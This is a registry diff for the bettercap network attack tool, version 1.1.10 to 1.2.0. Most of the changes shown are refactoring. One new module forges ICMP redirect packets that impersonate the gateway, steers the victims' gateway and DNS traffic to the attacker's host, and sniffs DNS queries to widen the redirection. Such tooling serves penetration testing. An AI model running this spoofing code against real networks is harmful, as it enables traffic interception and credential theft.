bettercap 1.1.10 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (53) hide show
  1. checksums.yaml +4 -4
  2. data/TODO.md +8 -7
  3. data/bin/bettercap +8 -2
  4. data/lib/bettercap.rb +5 -4
  5. data/lib/bettercap/context.rb +54 -8
  6. data/lib/bettercap/discovery/agents/arp.rb +17 -4
  7. data/lib/bettercap/discovery/agents/base.rb +16 -52
  8. data/lib/bettercap/discovery/agents/icmp.rb +25 -17
  9. data/lib/bettercap/discovery/agents/udp.rb +9 -20
  10. data/lib/bettercap/discovery/{discovery.rb → thread.rb} +10 -9
  11. data/lib/bettercap/error.rb +1 -2
  12. data/lib/bettercap/factories/{firewall_factory.rb → firewall.rb} +11 -7
  13. data/lib/bettercap/factories/{parser_factory.rb → parser.rb} +13 -3
  14. data/lib/bettercap/factories/{spoofer_factory.rb → spoofer.rb} +10 -3
  15. data/lib/bettercap/firewalls/base.rb +76 -0
  16. data/lib/bettercap/firewalls/linux.rb +26 -16
  17. data/lib/bettercap/firewalls/osx.rb +22 -13
  18. data/lib/bettercap/firewalls/redirection.rb +15 -1
  19. data/lib/bettercap/httpd/server.rb +5 -0
  20. data/lib/bettercap/logger.rb +29 -8
  21. data/lib/bettercap/network.rb +105 -105
  22. data/lib/bettercap/options.rb +99 -41
  23. data/lib/bettercap/packet_queue.rb +92 -0
  24. data/lib/bettercap/proxy/certstore.rb +49 -43
  25. data/lib/bettercap/proxy/module.rb +4 -2
  26. data/lib/bettercap/proxy/proxy.rb +7 -2
  27. data/lib/bettercap/proxy/request.rb +28 -16
  28. data/lib/bettercap/proxy/response.rb +23 -2
  29. data/lib/bettercap/proxy/stream_logger.rb +6 -0
  30. data/lib/bettercap/proxy/streamer.rb +13 -5
  31. data/lib/bettercap/proxy/thread_pool.rb +6 -14
  32. data/lib/bettercap/shell.rb +5 -3
  33. data/lib/bettercap/sniffer/parsers/base.rb +7 -1
  34. data/lib/bettercap/sniffer/parsers/custom.rb +6 -1
  35. data/lib/bettercap/sniffer/parsers/ftp.rb +8 -5
  36. data/lib/bettercap/sniffer/parsers/httpauth.rb +4 -1
  37. data/lib/bettercap/sniffer/parsers/https.rb +4 -1
  38. data/lib/bettercap/sniffer/parsers/irc.rb +8 -5
  39. data/lib/bettercap/sniffer/parsers/mail.rb +8 -5
  40. data/lib/bettercap/sniffer/parsers/ntlmss.rb +21 -18
  41. data/lib/bettercap/sniffer/parsers/post.rb +4 -1
  42. data/lib/bettercap/sniffer/parsers/url.rb +4 -1
  43. data/lib/bettercap/sniffer/sniffer.rb +7 -3
  44. data/lib/bettercap/spoofers/arp.rb +69 -94
  45. data/lib/bettercap/spoofers/base.rb +132 -0
  46. data/lib/bettercap/spoofers/icmp.rb +200 -0
  47. data/lib/bettercap/spoofers/none.rb +8 -2
  48. data/lib/bettercap/target.rb +117 -90
  49. data/lib/bettercap/update_checker.rb +6 -0
  50. data/lib/bettercap/version.rb +3 -1
  51. metadata +24 -8
  52. data/lib/bettercap/base/ifirewall.rb +0 -46
  53. data/lib/bettercap/base/ispoofer.rb +0 -32
@@ -0,0 +1,132 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ module BetterCap
13
+ module Spoofers
14
+ # Base class for BetterCap::Spoofers modules.
15
+ class Base
16
+ # Will raise NotImplementedError .
17
+ def initialize
18
+ not_implemented_method!
19
+ end
20
+ # Will raise NotImplementedError .
21
+ def start
22
+ not_implemented_method!
23
+ end
24
+ # Will raise NotImplementedError .
25
+ def stop
26
+ not_implemented_method!
27
+ end
28
+
29
+ private
30
+
31
+ def sniff_packets( filter )
32
+ begin
33
+ @capture = PacketFu::Capture.new(
34
+ iface: @ctx.options.iface,
35
+ filter: filter,
36
+ start: true
37
+ )
38
+ rescue Exception => e
39
+ Logger.error e.message
40
+ end
41
+
42
+ @capture.stream.each do |p|
43
+ begin
44
+ if not @running
45
+ Logger.debug 'Stopping thread ...'
46
+ Thread.exit
47
+ break
48
+ end
49
+
50
+ pkt = PacketFu::Packet.parse p rescue nil
51
+
52
+ yield( pkt ) unless pkt.nil?
53
+
54
+ rescue Exception => e
55
+ Logger.error e.message
56
+ end
57
+ end
58
+ end
59
+
60
+ def spoof_loop( delay )
61
+ prev_size = @ctx.targets.size
62
+ loop do
63
+ if not @running
64
+ Logger.debug 'Stopping spoofing thread ...'
65
+ Thread.exit
66
+ break
67
+ end
68
+
69
+ size = @ctx.targets.size
70
+ if size > prev_size
71
+ Logger.warn "Aquired #{size - prev_size} new targets."
72
+ elsif size < prev_size
73
+ Logger.warn "Lost #{prev_size - size} targets."
74
+ end
75
+
76
+ Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
77
+
78
+ update_targets!
79
+
80
+ @ctx.targets.each do |target|
81
+ yield(target)
82
+ end
83
+
84
+ prev_size = @ctx.targets.size
85
+
86
+ sleep(delay)
87
+ end
88
+ end
89
+
90
+ def update_gateway!
91
+ Logger.info "Getting gateway #{@ctx.gateway} MAC address ..."
92
+
93
+ hw = Network.get_hw_address( @ctx.ifconfig, @ctx.gateway )
94
+ raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
95
+
96
+ @gateway = Target.new( @ctx.gateway, hw )
97
+
98
+ Logger.info " #{@gateway}"
99
+ end
100
+
101
+ def update_targets!
102
+ @ctx.targets.each do |target|
103
+ # targets could change, update mac addresses if needed
104
+ if target.mac.nil?
105
+ hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
106
+ if hw.nil?
107
+ Logger.warn "Couldn't determine target #{ip} MAC!"
108
+ next
109
+ else
110
+ Logger.info " Target MAC : #{hw}"
111
+ target.mac = hw
112
+ end
113
+ # target was specified by MAC address
114
+ elsif target.ip_refresh
115
+ ip = Network.get_ip_address( @ctx, target.mac )
116
+ if ip.nil?
117
+ Logger.warn "Couldn't determine target #{target.mac} IP!"
118
+ next
119
+ else
120
+ Logger.info "Target #{target.mac} IP : #{ip}" if target.ip.nil? or target.ip != ip
121
+ target.ip = ip
122
+ end
123
+ end
124
+ end
125
+ end
126
+
127
+ def not_implemented_method!
128
+ raise NotImplementedError, 'Spoofers::Base: Unimplemented method!'
129
+ end
130
+ end
131
+ end
132
+ end
@@ -0,0 +1,200 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ require 'bettercap/spoofers/base'
13
+ require 'bettercap/error'
14
+ require 'bettercap/context'
15
+ require 'bettercap/network'
16
+ require 'bettercap/logger'
17
+ require 'colorize'
18
+ require 'net/dns'
19
+ require 'resolv'
20
+
21
+ module BetterCap
22
+ module Spoofers
23
+ # Class to create ICMP redirection packets.
24
+ class ICMPRedirectPacket < PacketFu::Packet
25
+ ICMP_REDIRECT = 5
26
+ ICMP_REDIRECT_HOST = 1
27
+
28
+ IP_PROTO_ICMP = 1
29
+ IP_PROTO_UDP = 17
30
+
31
+ include PacketFu::EthHeaderMixin
32
+ include PacketFu::IPHeaderMixin
33
+ include PacketFu::ICMPHeaderMixin
34
+ include PacketFu::UDPHeaderMixin
35
+
36
+ attr_accessor :eth_header, :ip_header, :icmp_header, :ip_encl_header
37
+
38
+ def initialize(args={})
39
+ @eth_header = PacketFu::EthHeader.new(args).read(args[:eth])
40
+
41
+ @ip_header = PacketFu::IPHeader.new(args).read(args[:ip])
42
+ @ip_header.ip_proto = IP_PROTO_ICMP
43
+
44
+ @icmp_header = PacketFu::ICMPHeader.new(args).read(args[:icmp])
45
+ @icmp_header.icmp_type = ICMP_REDIRECT
46
+ @icmp_header.icmp_code = ICMP_REDIRECT_HOST
47
+
48
+ @ip_encl_header = PacketFu::IPHeader.new(args).read(args[:ip])
49
+ @ip_encl_header.ip_proto = IP_PROTO_UDP
50
+
51
+ @udp_dummy = PacketFu::UDPPacket.new
52
+ @udp_dummy.udp_src = 53
53
+ @udp_dummy.udp_dst = 53
54
+
55
+ @ip_header.body = @icmp_header
56
+ @eth_header.body = @ip_header
57
+
58
+ @headers = [@eth_header, @ip_header, @icmp_header]
59
+ super
60
+ end
61
+
62
+ def update!( gateway, target, local, address2redirect )
63
+ @eth_header.eth_src = PacketFu::EthHeader.mac2str(gateway.mac)
64
+ @ip_header.ip_saddr = gateway.ip
65
+
66
+ @eth_header.eth_dst = PacketFu::EthHeader.mac2str(target.mac)
67
+ @ip_header.ip_daddr = target.ip
68
+
69
+ @udp_dummy.ip_saddr = target.ip
70
+ @udp_dummy.ip_daddr = address2redirect
71
+ @udp_dummy.recalc
72
+
73
+ @icmp_header.body = local.split('.').collect(&:to_i).pack('C*') +
74
+ @udp_dummy.ip_header.to_s
75
+
76
+ recalc
77
+ end
78
+ end
79
+
80
+ # This class is responsible of performing ICMP redirect attack on the network.
81
+ class Icmp < Base
82
+ # Initialize the BetterCap::Spoofers::Icmp object.
83
+ def initialize
84
+ @ctx = Context.get
85
+ @forwarding = @ctx.firewall.forwarding_enabled?
86
+ @gateway = nil
87
+ @local = @ctx.ifconfig[:ip_saddr]
88
+ @spoof_thread = nil
89
+ @watch_thread = nil
90
+ @running = false
91
+ @entries = [ '8.8.8.8', '8.8.4.4', # Google DNS
92
+ '208.67.222.222', '208.67.220.220' ] # OpenDNS
93
+
94
+ update_gateway!
95
+ end
96
+
97
+ # Send ICMP redirect to the +target+, redirecting the gateway ip and
98
+ # everything in the @entries list of addresses to us.
99
+ def send_spoofed_packet( target )
100
+ ( [@gateway.ip] + @entries ).each do |address|
101
+ begin
102
+ Logger.debug "Sending ICMP Redirect to #{target.to_s_compact} redirecting #{address} to us ..."
103
+
104
+ pkt = ICMPRedirectPacket.new
105
+ pkt.update!( @gateway, target, @local, address )
106
+ @ctx.packets.push(pkt)
107
+ rescue Exception => e
108
+ Logger.debug "#{self.class.name} : #{e.message}"
109
+ end
110
+ end
111
+ end
112
+
113
+ # Start the ICMP redirect spoofing.
114
+ def start
115
+ Logger.info "Starting ICMP redirect spoofer ..."
116
+
117
+ stop() if @running
118
+ @running = true
119
+
120
+ @ctx.firewall.enable_forwarding(true) unless @forwarding
121
+ @ctx.firewall.enable_send_redirects(false)
122
+
123
+ @spoof_thread = Thread.new { icmp_spoofer }
124
+ @watch_thread = Thread.new { dns_watcher }
125
+ end
126
+
127
+ # Stop the ICMP redirect spoofing, reset firewall state.
128
+ def stop
129
+ raise 'ICMP redirect spoofer is not running' unless @running
130
+
131
+ Logger.info 'Stopping ICMP redirect spoofer ...'
132
+
133
+ Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
134
+ @ctx.firewall.enable_forwarding( @forwarding )
135
+
136
+ @running = false
137
+ begin
138
+ @spoof_thread.exit
139
+ rescue; end
140
+
141
+ begin
142
+ @workers.map(&:exit)
143
+ rescue; end
144
+ end
145
+
146
+ private
147
+
148
+ def is_interesting_packet?(pkt)
149
+ return false if pkt.ip_saddr == @local
150
+ @ctx.targets.each do |target|
151
+ if target.ip and ( target.ip == pkt.ip_saddr or target.ip == pkt.ip_daddr )
152
+ return true
153
+ end
154
+ end
155
+ false
156
+ end
157
+
158
+ def dns_watcher
159
+ Logger.info 'DNS watcher started ...'
160
+
161
+ sniff_packets('udp and port 53') { |pkt|
162
+ next unless is_interesting_packet?(pkt)
163
+
164
+ dns = Net::DNS::Packet.parse(pkt.payload) rescue nil
165
+ next if dns.nil?
166
+
167
+ Logger.debug dns.inspect
168
+
169
+ if dns.header.anCount > 0
170
+ dns.answer.each do |a|
171
+ if a.respond_to?(:address)
172
+ Logger.debug "[DNS] Redirecting #{a.address.to_s} ..."
173
+ @entries << a.address.to_s unless @entries.include?(a.address.to_s)
174
+ end
175
+ end
176
+ end
177
+
178
+ if dns.header.qdCount > 0
179
+ name = dns.question.first.qName
180
+ if name =~ /\.$/
181
+ name = name[0,name.size-1]
182
+ end
183
+ Logger.info "[#{'DNS'.green}] #{pkt.ip_saddr} is requesting '#{name}' address ..."
184
+ Resolv.each_address(name) do |ip|
185
+ @entries << ip unless @entries.include?(ip)
186
+ end
187
+ end
188
+ }
189
+ end
190
+
191
+ def icmp_spoofer
192
+ spoof_loop(3) { |target|
193
+ unless target.ip.nil? or target.mac.nil?
194
+ send_spoofed_packet target
195
+ end
196
+ }
197
+ end
198
+ end
199
+ end
200
+ end
@@ -9,17 +9,23 @@ Blog : http://www.evilsocket.net/
9
9
  This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
- require 'bettercap/base/ispoofer'
12
+ require 'bettercap/spoofers/base'
13
13
  require 'bettercap/logger'
14
14
 
15
15
  module BetterCap
16
- class NoneSpoofer < ISpoofer
16
+ module Spoofers
17
+ # Dummy class used to disable spoofing.
18
+ class None < Base
19
+ # Initialize the non-spoofing class.
17
20
  def initialize
18
21
  Logger.warn 'Spoofing disabled.'
19
22
  end
20
23
 
24
+ # This does nothing.
21
25
  def start; end
22
26
 
27
+ # This does nothing.
23
28
  def stop; end
24
29
  end
25
30
  end
31
+ end
@@ -13,112 +13,139 @@ require 'bettercap/logger'
13
13
  require 'socket'
14
14
 
15
15
  module BetterCap
16
+ # This class represents a target, namely a single endpoint device on the
17
+ # network.
16
18
  class Target
17
- attr_accessor :ip, :mac, :vendor, :hostname, :ip_refresh
18
-
19
- NBNS_TIMEOUT = 30
20
- NBNS_PORT = 137
21
- NBNS_BUFSIZE = 65536
22
- NBNS_REQUEST = "\x82\x28\x0\x0\x0\x1\x0\x0\x0\x0\x0\x0\x20\x43\x4B\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0\x0\x21\x0\x1"
23
-
24
- @@prefixes = nil
25
-
26
- def initialize( ip, mac=nil )
27
- if Network.is_ip?(ip)
28
- @ip = ip
29
- @ip_refresh = false
30
- else
31
- @ip = nil
32
- mac = ip
33
- @ip_refresh = true
34
- end
35
-
36
- @mac = Target.normalized_mac(mac) unless mac.nil?
37
- @vendor = Target.lookup_vendor(@mac) unless mac.nil?
38
- @hostname = nil
39
- @resolver = Thread.new { resolve! } unless Context.get.options.no_target_nbns or @ip.nil?
19
+ # The IP address of this device.
20
+ attr_accessor :ip
21
+ # The MAC address of the device network interface.
22
+ attr_accessor :mac
23
+ # Vendor of the device network interface if available.
24
+ attr_accessor :vendor
25
+ # NetBIOS hostname of the device if available.
26
+ attr_accessor :hostname
27
+ # True if the IP attribute of this target needs to be updated.
28
+ attr_accessor :ip_refresh
29
+
30
+ # Timeout in seconds for the NBNS hostname resolution request.
31
+ NBNS_TIMEOUT = 30
32
+ # UDP port for the NBNS hostname resolution request.
33
+ NBNS_PORT = 137
34
+ # Buffer size for the NBNS hostname resolution request.
35
+ NBNS_BUFSIZE = 65536
36
+ # NBNS hostname resolution request buffer.
37
+ NBNS_REQUEST = "\x82\x28\x0\x0\x0\x1\x0\x0\x0\x0\x0\x0\x20\x43\x4B\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0\x0\x21\x0\x1"
38
+
39
+ @@prefixes = nil
40
+
41
+ # Create a +Target+ object given its +ip+ and (optional) +mac+ address.
42
+ # The +ip+ argument could also be a MAC address itself, in this case the
43
+ # ip address will be parsed from the computer ARP cache and updated
44
+ # accordingly.
45
+ def initialize( ip, mac=nil )
46
+ if Network.is_ip?(ip)
47
+ @ip = ip
48
+ @ip_refresh = false
49
+ else
50
+ @ip = nil
51
+ mac = ip
52
+ @ip_refresh = true
40
53
  end
41
54
 
42
- def sortable_ip
43
- @ip.split('.').inject(0) {|total,value| (total << 8 ) + value.to_i}
44
- end
45
-
46
- def mac=(value)
47
- @mac = Target.normalized_mac(value)
48
- @vendor = Target.lookup_vendor(@mac) if not @mac.nil?
49
- end
50
-
51
- def to_s
52
- s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac )
53
- s += " / #{@hostname}" unless @hostname.nil?
54
- s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end
55
- s
56
- end
57
-
58
- def to_s_compact
59
- if @hostname
60
- "#{@hostname}/#{@ip}"
61
- else
62
- @ip
63
- end
55
+ @mac = Target.normalized_mac(mac) unless mac.nil?
56
+ @vendor = Target.lookup_vendor(@mac) unless mac.nil?
57
+ @hostname = nil
58
+ @resolver = Thread.new { resolve! } unless Context.get.options.no_target_nbns or @ip.nil?
59
+ end
60
+
61
+ # Return the integer representation of the +ip+ attribute which can be
62
+ # used for sorting a list of +Target+ objects+
63
+ def sortable_ip
64
+ @ip.split('.').inject(0) {|total,value| (total << 8 ) + value.to_i}
65
+ end
66
+
67
+ # +mac+ attribute setter, it will normalize the +value+ and perform
68
+ # a vendor lookup.
69
+ def mac=(value)
70
+ @mac = Target.normalized_mac(value)
71
+ @vendor = Target.lookup_vendor(@mac) if not @mac.nil?
72
+ end
73
+
74
+ # Return a verbose string representation of this object.
75
+ def to_s
76
+ s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac )
77
+ s += " / #{@hostname}" unless @hostname.nil?
78
+ s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end
79
+ s
80
+ end
81
+
82
+ # Return a compact string representation of this object.
83
+ def to_s_compact
84
+ if @hostname
85
+ "#{@hostname}/#{@ip}"
86
+ else
87
+ @ip
64
88
  end
65
-
66
- def equals?(ip, mac)
67
- # compare by ip
68
- if mac.nil?
69
- return ( @ip == ip )
70
- # compare by mac
71
- elsif !@mac.nil? and ( @mac == mac )
72
- Logger.info "Found IP #{ip} for target #{@mac}!" if @ip.nil?
73
- @ip = ip
74
- return true
75
- end
76
- false
89
+ end
90
+
91
+ # Return true if this +Target+ is equal to the specified +ip+ and +mac+,
92
+ # otherwise return false.
93
+ def equals?(ip, mac)
94
+ # compare by ip
95
+ if mac.nil?
96
+ return ( @ip == ip )
97
+ # compare by mac
98
+ elsif !@mac.nil? and ( @mac == mac )
99
+ Logger.info "Found IP #{ip} for target #{@mac}!" if @ip.nil?
100
+ @ip = ip
101
+ return true
77
102
  end
103
+ false
104
+ end
78
105
 
79
- def self.normalized_mac(v)
80
- v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':')
81
- end
106
+ def self.normalized_mac(v)
107
+ v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':')
108
+ end
82
109
 
83
110
  private
84
111
 
85
- def resolve!
86
- resp, sock = nil, nil
87
- begin
88
- sock = UDPSocket.open
89
- sock.send( NBNS_REQUEST, 0, @ip, NBNS_PORT )
90
- resp = if select([sock], nil, nil, NBNS_TIMEOUT)
91
- sock.recvfrom(NBNS_BUFSIZE)
92
- end
93
- if resp
94
- @hostname = parse_nbns_response resp
95
- Logger.info "Found NetBIOS name '#{@hostname}' for address #{@ip}"
96
- end
97
- rescue Exception => e
98
- Logger.debug e
99
- ensure
100
- sock.close if sock
112
+ def resolve!
113
+ resp, sock = nil, nil
114
+ begin
115
+ sock = UDPSocket.open
116
+ sock.send( NBNS_REQUEST, 0, @ip, NBNS_PORT )
117
+ resp = if select([sock], nil, nil, NBNS_TIMEOUT)
118
+ sock.recvfrom(NBNS_BUFSIZE)
101
119
  end
120
+ if resp
121
+ @hostname = parse_nbns_response resp
122
+ Logger.info "Found NetBIOS name '#{@hostname}' for address #{@ip}"
123
+ end
124
+ rescue Exception => e
125
+ Logger.debug e
126
+ ensure
127
+ sock.close if sock
102
128
  end
129
+ end
103
130
 
104
- def parse_nbns_response resp
105
- resp[0][57,15].to_s.strip
106
- end
131
+ def parse_nbns_response resp
132
+ resp[0][57,15].to_s.strip
133
+ end
107
134
 
108
- def self.lookup_vendor( mac )
109
- if @@prefixes == nil
110
- Logger.debug 'Preloading hardware vendor prefixes ...'
135
+ def self.lookup_vendor( mac )
136
+ if @@prefixes == nil
137
+ Logger.debug 'Preloading hardware vendor prefixes ...'
111
138
 
112
- @@prefixes = {}
113
- filename = File.dirname(__FILE__) + '/hw-prefixes'
114
- File.open( filename ).each do |line|
115
- if line =~ /^([A-F0-9]{6})\s(.+)$/
116
- @@prefixes[$1] = $2
117
- end
139
+ @@prefixes = {}
140
+ filename = File.dirname(__FILE__) + '/hw-prefixes'
141
+ File.open( filename ).each do |line|
142
+ if line =~ /^([A-F0-9]{6})\s(.+)$/
143
+ @@prefixes[$1] = $2
118
144
  end
119
145
  end
120
-
121
- @@prefixes[ mac.split(':')[0,3].join('').upcase ]
122
146
  end
147
+
148
+ @@prefixes[ mac.split(':')[0,3].join('').upcase ]
149
+ end
123
150
  end
124
151
  end